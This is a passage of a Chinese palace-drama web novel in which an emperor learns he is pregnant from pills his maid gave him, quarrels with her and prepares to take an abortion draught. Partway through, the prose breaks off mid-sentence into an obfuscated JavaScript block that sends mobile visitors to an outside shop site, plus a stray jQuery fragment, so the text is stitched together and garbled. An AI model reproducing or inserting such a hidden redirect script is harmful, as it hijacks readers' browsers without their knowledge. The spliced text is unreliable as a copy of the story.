潘玉瓶强装镇定,对萧承乾说:“皇上在此处稍等,奴婢这就去禀报太医院,命人为皇上把脉问诊。”
说完,潘玉瓶不等萧承乾回答,便头也不回地朝外赶去,那急促的身影仿佛是身后有鬼在追,但身后只有一个萧承乾扶着肚子一脸忧色地对她嘱咐道:“慢些,你今日又没吃早饭,可别摔着!”
潘玉瓶将太医领过来,萧承乾已经穿好了衣服,他如今穿衣服有些许费劲,但还是能将腰带扣上,再将下摆往里收收,倒也勉强遮住了隆起的肚子。萧承乾见两位太医已经走过来,便伸出手由他们把脉。
一个太医先去把脉,只是久久不语,先是狐疑地从萧承乾脸上来回视察,又是流出了豆大的汗珠,最后满头是汗地惶恐退下,什么结果都不敢说。
第二个太医见他如此,心里咯噔一声,却也不敢退缩,接着把起第二轮的脉络,可是一上手,第二个太医也很快聚集起了密密麻麻的汗珠,嘴里还惊恐不定地呢喃道:“如珠……如珠走盘……似鱼、似鱼戏荷……按之,脉相跳……跳滑……喜……喜……”
两个太医都不敢说出最后那个字,都瞪大了惊恐的眼珠子,齐齐下跪磕头,不敢再发出一言。
萧承乾见状也害怕了,心里发虚,嘴上还得色厉内荏,骂道:“给朕站起来说话!可别想着在地上埋起头来当鸵鸟!说,是什么脉!”
第一个太医老成,头发花白,在男子身上把到这个脉重创了他的三观,此时他站起来浑身发抖不敢说话;第二个太医尚且年轻,为人也稚嫩得多,初生牛犊不怕虎,便瞅了萧承乾一眼,大胆地吐出几句快速得像跳珠的话:“回禀皇上,臣等从您身上把出了喜脉!恭、恭喜皇上,您这是有喜了!已经怀胎三月了!”
萧承乾闻言顿时石化,反应过来后,吓得跳起来,三步并作两步,上前就是抓住年轻太医的领口,骂道:“你少胡说八道!你资历尚浅,定是你医术不精,你给我滚到一边去!你,老头,你来说是什么脉!”
老太医顿时吓得跪在地上五体投地,举双手求饶道:“皇上,皇上饶命啊……微臣,微臣也不知道着了什么魔,竟然把出了皇上是喜脉……皇上有怪莫怪,定是,定是微臣老糊涂了啊!”
“好哇!好哇!你们两人,一个小糊涂,一个老糊涂!”
萧承乾六神无主,下意识地转头去看潘玉瓶。潘玉瓶此时已经将消息都消化完毕了,她的脸色冷静得堪称恐怖,没有丝毫的喜怒,就只是冷冷地盯着地上的两个太医看,似乎在思考着什么。
萧承乾看到潘玉瓶这个认真思索的脸色,心里终于慌了,上前抓着潘玉瓶的手说:“玉瓶,你说,你说,这是怎么一回事呢?兴许只是朕近日来吃坏了肚子!你知道,朕近日里时有呕吐迹象,也不过是多吃一粒五石散就能消化得了。”
潘玉瓶喉咙一噎,眼里闪过不忍的神色,终是转头对视着萧承乾的眼眸,说:“皇上,您这是孕吐了,而五石散有麻痹肺腑的作用,才将您的孕吐压了回去。阴阳合欢散又有安胎的作用,这本就是奴婢用来调养身体准备受孕的,才让皇上顺利地度过了孕前期……”
话口一开,心里便压不住话了,潘玉瓶又接着说下去:“皇上,您确实是怀孕了,这些太医没有诊断错误。奴婢……奴婢早就知道您是双性的体质,只是见您一直没有来月事,才以为你的雌性一面不作数,冒险将阴阳合欢散呈现给皇上。如果让奴婢知道会这样,奴婢绝不会……如果奴婢猜得没错,是阴阳合欢散疏通了皇上滞塞的身体,才让皇上短暂拥有女体受孕的功能……”
萧承乾怔然,直到潘玉瓶已经无话可说了,他才醒过来,当即大怒,一脚飞踹,狠狠踢在了潘玉瓶的腰上,将潘玉瓶踢倒在地,这是他第一次对潘玉瓶动怒,一点都没留情。
萧承乾勃然大怒,怒喝道:“好你个贱婢!你竟敢将这等邪物拿来给我吃!将我吃成了女人,还怀上了孩子!我……我若知道你蛇蝎心肠,我定要掐死你这个毒妇!我料想我从未苛待过你,即使在房事上不受宠,我亦不短缺你任何赏赐,我待你不薄!你为何要想着毒害我这个亲夫!”
狼狈的潘玉瓶强忍住疼痛,扶着腰间的伤处,再抬起头时,已是泪流满面的梨花带雨,她泣然道:“皇上……求皇上恕罪!是奴婢一时不察,才将皇上置于此等险地!奴婢真宁愿是自己替皇上受罪,上刀山下火海,义无反顾,鬼门关俱往矣!奴婢大错已经酿成,奴婢知错、认错!求皇上宽恕……”
潘玉瓶扭头转向两个太医,眼里闪过一抹狠厉之色,说:“奴婢早料到事有变故,并未告知太医院所有人,只找了这两个相熟的太医,他们都受过奴婢的恩惠,忠心耿耿……若是皇上不放心,事后,奴婢就将他们都杀了,这样就没有人知道皇上的秘密了……”
两个太医骇然。
萧承乾踉跄退后一步,脸上的表情欲哭无泪,喃喃道:“你杀了他们又有何用……朕,朕还需要留着他们,好处置肚子里的孽种……”
萧承乾摸到了桌边的一把匕首,那是平时削果皮用的小刀,萧承乾怔怔地看着小刀,又看了看潘玉瓶那张泪眼里盛满了水意的俏脸,最终也没舍得下手拿刀杀了潘玉瓶。
萧承乾心想,或许潘玉瓶真是无心之失,他这个皇帝要是倒台了,整个皇宫都没有人能护着潘玉瓶,潘玉瓶为了投靠他,已经是得罪了太后、皇后、朝廷三方势力,前朝后宫都是死路一条,绝不可能在利益的立场上与他为敌,想必他出事也不是故意投毒,真是药丸出了意外。潘玉瓶是一个极其聪慧的女子,她不可能不明白这些生死攸关的道理。更何况,在萧承乾的身边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781373|210106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只有潘玉瓶一人算得上是忠心耿耿又尽职尽责的得力臂膀,若是杀了潘玉瓶,萧承乾往后在宫里再想做点什么事,可就太难了。潘玉瓶自依附他以来,做的每一桩事,无一不以他为中心,事事必为他考虑周全,怎么会存了害死他而存私利的恶毒心思呢?
萧承乾痛苦地闭上眼睛,想到潘玉瓶每个用心服侍他的日夜,潘玉瓶做尽了所有奴才该做的事情,她是他见过的最贤惠的女子,他在床上睡着,她就在地上守着,他在座上倚着,她就在旁边站着,他一个咳嗽,她就奉上细心切好的梨块来润喉,他不忍心让潘玉瓶从此消失,他还记挂着那些感情。
萧承乾睁开眼,一脸怒容,他愤怒地砸掉床头柜上摆着的一盒盒药丸,那些药丸数量之多,就像女子闺房里的化妆匣那般繁复显眼。在萧承乾毫不留情地打砸之下,那些药丸都摔烂在地上,散尽各处,盒子打开了,连殿内都散发着淡淡的药香味,那是他往日最爱的五石散和阴阳合欢散的味道,还有其它的一些杂味,那些也是潘玉瓶声称的补品,如今都被他砸了,在地上五颜六色地滚动着,像是儿童玩的一地弹珠。
萧承乾嘴里叫骂道:“都是你!看你干的好事!我要将这些毒药全都砸了,往后,我再也不要吃你呈上来的任何一颗药丸!尽是毒妇所作的毒药!我要戒了,全都戒了,从今往后,我再也不吃药了!”
潘玉瓶拿出手帕擦拭满脸的泪水,一边抽噎一边说道:“砸吧,都砸去,这都是奴婢犯下的罪孽,奴婢从此以后,再也不做这该死的药了。若是奴婢做了,就叫奴婢天打雷劈!奴婢待皇上的忠心,日月可鉴,奴婢只求皇上原谅奴婢,莫要生了嫌隙,叫奴婢过得生不如死。”
萧承乾打砸得累了,也哭着坐下,瘫倒在地,潘玉瓶前去,一边扶起他,一边跟他哭作一团,潘玉瓶拿手帕去擦拭他的泪珠,嘴里还心疼道:“皇上,可别伤着了身子,您现在身怀六甲,可得比平时收敛得多。”
萧承乾抬起模糊的泪眼,已是看不清潘玉瓶的模样,他自顾自地喃道:“我该如何是好?我……我要想办法堕了它,我是天下之主,我是最强的男子,我不该像女子一样怀上孩子,如果让母后知道我做出这等不像男人的丑事……”
潘玉瓶说:“此举确实为一个好办法。趁着月份还算小,才三个月,要趁早堕去,省得日后月份大了,便堕不得了,有一尸二命的危险了。”
潘玉瓶很快就拿到了两个太医偷偷熬制的堕胎药,那是一碗黑漆漆的药汤,从中能照见萧承乾惶恐的脸色,萧承乾接过药汤,还未入口就能闻到浓郁的苦味,那味道苦得叫他作呕,他神色迟疑,拿着碗迟迟未喝,嘴上说道:“玉瓶,你说,这药喝下去会不会很痛……你知道的,我怀了这孽种三个月了,想必它要成型了,这时候堕掉它,会不会很痛……”